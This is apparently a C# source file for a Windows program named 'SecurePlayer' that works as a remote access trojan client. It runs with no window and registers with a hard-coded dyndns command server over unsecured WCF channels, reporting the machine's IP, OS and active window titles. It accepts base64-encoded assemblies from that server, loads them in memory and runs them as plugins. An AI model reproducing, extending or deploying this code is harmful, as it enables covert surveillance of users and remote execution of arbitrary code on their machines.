﻿using SecurePlayer.SecureService;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.ServiceModel;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;

namespace SecurePlayer
{
    static class Program
    {
        private static WcfClient Client;

        [STAThread]
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Client = new WcfClient();
            Client.WcfTimer.Enabled = true;
            Application.Run(new ApplicationContext());
        }
        static public string AssemblyDirectory
        {
            get
            {
                string codeBase = Assembly.GetExecutingAssembly().CodeBase;
                UriBuilder uri = new UriBuilder(codeBase);
                string path = Uri.UnescapeDataString(uri.Path);
                return Path.GetDirectoryName(path);
            }
        }
    }

    public class WcfClient
    {
        private const string ConnectionString = "tux2005.dyndns.org";

        #region Plugin

        private List<IPlugin> Plugins = new List<IPlugin>();

        private IPlugin LoadAssembly(byte[] assembly)
        {
            Assembly ptrAssembly = Assembly.Load(assembly);

            foreach (Type item in ptrAssembly.GetTypes())
            {
                if (!item.IsClass) continue;
                if (item.GetInterfaces().Contains(typeof(IPlugin)))
                {
                    return (IPlugin)Activator.CreateInstance(item);
                }
            }
            throw new Exception("invalid dll, interface not found!");
        }

        private IPlugin LoadAssembly(string assemblyPath)
        {
            string assembly = Path.GetFullPath(assemblyPath);
            Assembly ptrAssembly = Assembly.LoadFile(assembly);

            foreach (Type item in ptrAssembly.GetTypes())
            {
                if (!item.IsClass) continue;
                if (item.GetInterfaces().Contains(typeof(IPlugin)))
                {
                    return (IPlugin)Activator.CreateInstance(item);
                }
            }
            throw new Exception("Invalid DLL, Interface not found!");
        }

        public void RegisterPlugin(IPlugin Item)
        {
            Plugins.Add(Item);
            Item.OnReceiveData += Plugin_OnReceiveData;
        }

        private void Plugin_OnReceiveData(object sender, EventDataType e)
        {
            try
            {
                NotifyServer(e);
            }
            catch (Exception)
            {
            }
        }

        #endregion

        #region WCF

        public BroadcastorServiceClient _client;
        private Guid ClientID = Guid.NewGuid();
        private string szAW;
        public System.Timers.Timer WcfTimer = new System.Timers.Timer();

        private void WcfTimer_Tick(object sender, EventArgs e)
        {
            try
            {
                WcfTimer.Enabled = false;
                CheckClientRegistration();
            }
            catch (Exception)
            {
            }
            finally
            {
                WcfTimer.Enabled = true;
            }
        }

        private BroadcastorServiceClient GetHttpClient(System.ServiceModel.InstanceContext context)
        {
            var address = new EndpointAddress("ws://" + ConnectionString + ":80/SecureService/Service.svc");

            var binding = new NetHttpBinding();
            binding.HostNameComparisonMode = HostNameComparisonMode.StrongWildcard;
            binding.ReceiveTimeout = new TimeSpan(0, 0, 10, 0);
            binding.SendTimeout = new TimeSpan(0, 0, 10, 0);
            binding.OpenTimeout = new TimeSpan(0, 0, 10, 0);
            binding.CloseTimeout = new TimeSpan(0, 0, 10, 0);
            binding.MaxReceivedMessageSize = 2147483647;
            binding.MaxBufferSize = 2147483647;
            binding.MaxBufferPoolSize = 2147483647;
            binding.TransferMode = TransferMode.Buffered;
            binding.MessageEncoding = NetHttpMessageEncoding.Binary;
            binding.TextEncoding = Encoding.UTF8;
            binding.BypassProxyOnLocal = false;
            binding.UseDefaultWebProxy = true;
            binding.Security.Mode = BasicHttpSecurityMode.None;
            binding.WebSocketSettings.TransportUsage = System.ServiceModel.Channels.WebSocketTransportUsage.Always;

            return new BroadcastorServiceClient(context, binding, address);
        }

        private BroadcastorServiceClient GetTcpClient(System.ServiceModel.InstanceContext context)
        {
            var address = new EndpointAddress("net.tcp://" + ConnectionString + ":808/SecureService/Service.svc");

            var binding = new NetTcpBinding();
            binding.HostNameComparisonMode = HostNameComparisonMode.StrongWildcard;
            binding.ReceiveTimeout = new TimeSpan(0, 0, 10, 0);
            binding.SendTimeout = new TimeSpan(0, 0, 10, 0);
            binding.OpenTimeout = new TimeSpan(0, 0, 10, 0);
            binding.CloseTimeout = new TimeSpan(0, 0, 10, 0);
            binding.MaxReceivedMessageSize = 2147483647;
            binding.MaxBufferSize = 2147483647;
            binding.MaxBufferPoolSize = 2147483647;
            binding.TransferMode = TransferMode.Buffered;
            binding.Security.Mode = SecurityMode.None;

            return new BroadcastorServiceClient(context, binding, address);
        }

        public void RegisterClient()
        {
            try
            {
                if ((this._client != null))
                {
                    this._client.Abort();
                    this._client = null;
                }

                BroadcastorCallback cb = new BroadcastorCallback();
                cb.SetHandler(this.HandleBroadcast);

                System.ServiceModel.InstanceContext context = new System.ServiceModel.InstanceContext(cb);
                
                ClientInfo _clientInfo = new ClientInfo();
                _clientInfo.ClientID = ClientID;
                _clientInfo.ClientIP = GetIPInfo();
                _clientInfo.ClientOS = GetOSFriendlyName();
                _clientInfo.ClientType = ClientInfo.ClientTypes.ClientServer;
                _clientInfo.ClientVersion = Application.ProductVersion;
               
                try
                {
                    this._client = GetHttpClient(context);
                    this._client.RegisterClient(ClientID.ToString(), _clientInfo);
                }
                catch (Exception ex)
                { 
                    try
                    {
                        this._client = GetTcpClient(context);
                        this._client.RegisterClient(ClientID.ToString(), _clientInfo);
                    }
                    catch (Exception ex1)
                    {
                        MessageBox.Show(ex.Message);
                        MessageBox.Show(ex1.Message);
                        Environment.Exit(0);
                    }
                }

                _client.ChannelFactory.Closed += Client_Closed;
                _client.InnerChannel.Closed += Client_Closed;
                _client.InnerDuplexChannel.Closed += Client_Closed;

                _client.ChannelFactory.Faulted += Client_Faulted;
                _client.InnerChannel.Faulted += Client_Faulted;
                _client.InnerDuplexChannel.Faulted += Client_Faulted;

            }
            catch (Exception)
            {
            }
        }

        private void CheckClientRegistration()
        {
            if (_client != null)
            {
                if (_client.State != System.ServiceModel.CommunicationState.Opened)
                {
                    RegisterClient();
                }
                else
                {
                    try
                    {
                        var currActiveWindow = GetAW();
                        if (currActiveWindow != string.Empty && szAW != currActiveWindow)
                        {
                            EventDataType _Notification = new EventDataType();
                            _Notification.EventType = "RefreshClientInfo";
                            _Notification.EventMessage = string.Format("ActiveWindow|{0}|", currActiveWindow);
                            _Notification.SourceClient = ClientID.ToString();
                            NotifyServer(_Notification);
                            szAW = currActiveWindow;
                        }
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine(ex.Message);
                    }
                }
            }
            else
            {
                RegisterClient();
            }
        }

        private void Client_Closed(object sender, EventArgs e)
        {            
        }

        private void Client_Faulted(object sender, EventArgs e)
        {
        }

        private delegate void HandleBroadcastCallback(object sender, EventArgs e);
        public class BroadcastorCallback : IBroadcastorServiceCallback
        {
            private System.Threading.SynchronizationContext syncContext = AsyncOperationManager.SynchronizationContext;

            private EventHandler _broadcastorCallBackHandler;
            public void SetHandler(EventHandler handler)
            {
                this._broadcastorCallBackHandler = handler;
            }

            public void BroadcastToClient(EventDataType eventData)
            {
                syncContext.Post(new System.Threading.SendOrPostCallback(OnBroadcast), eventData);
            }

            private void OnBroadcast(object eventData)
            {
                this._broadcastorCallBackHandler.Invoke(eventData, null);
            }
        }

        private void NotifyServer(EventDataType MessageObject)
        {
            try
            {
                if (this._client == null)
                {
                    return;
                }
                this._client.NotifyServer(MessageObject);
            }
            catch (Exception ex)
            {
                Debug.WriteLine(ex.Message);
            }

        }

        private void HandleBroadcast(object sender, EventArgs e)
        {
            try
            {
                var eventData = (EventDataType)sender;
                ParseData(eventData);
                GC.Collect();
            }
            catch (Exception ex)
            {

            }
        }

        [DllImport("user32.dll")]
        private static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);

        private string GetAW()
        {
            IntPtr handle = GetForegroundWindow();
            const int count = 512;
            var text = new StringBuilder(count);
            if (GetWindowText(handle, text, count) > 0)
            {
                return text.ToString();
            }
            else
            {
                return string.Empty;
            }
        }

        private string GetIPInfo()
        {
            try
            {
                string externalIP;
                externalIP = (new WebClient()).DownloadString("http://checkip.dyndns.org/");
                externalIP = (new Regex(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"))
                             .Matches(externalIP)[0].ToString();
                return externalIP;
            }
            catch { return string.Empty; }
        }

        private static string GetOSFriendlyName()
        {
            string result = string.Empty;
            ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem");
            foreach (ManagementObject os in searcher.Get())
            {
                result = os["Caption"].ToString();
                break;
            }
            return result;
        }

        #endregion        
        
        public WcfClient()
        {
            string AssemblyPath = Path.Combine(Program.AssemblyDirectory, "SecurePlayer.dll");

            if (File.Exists(AssemblyPath))
            {
                IPlugin currPlugin = LoadAssembly(AssemblyPath);
                currPlugin.OnReceiveData += Plugin_OnReceiveData;
                Plugins.Add(currPlugin);
                currPlugin.Init();
            }

            WcfTimer.Elapsed += WcfTimer_Tick; ;
        }

        private void ParseData(EventDataType Data)
        {
            string[] arr_szDataArray = Data.EventMessage.Split('|');
            switch (arr_szDataArray[0])
            {
                case "Launch":
                    try
                    {
                        string szBase64File = arr_szDataArray[1];
                        if (string.IsNullOrEmpty(szBase64File))
                            return;
                        byte[] bin = Convert.FromBase64String(szBase64File);
                        // load the bytes into Assembly
                        IPlugin currPlugin = LoadAssembly(bin);
                        currPlugin.OnReceiveData += Plugin_OnReceiveData;
                        Plugins.Add(currPlugin);
                    }
                    catch (Exception)
                    {
                    }
                    break;
                default:
                    try
                    {
                        foreach (IPlugin item in Plugins)
                        {
                            try
                            {
                                item.SendData(Data);
                            }
                            catch (Exception)
                            {
                            }
                        }
                    }
                    catch (Exception)
                    {
                    }
                    break;
            }
        }
    }
}
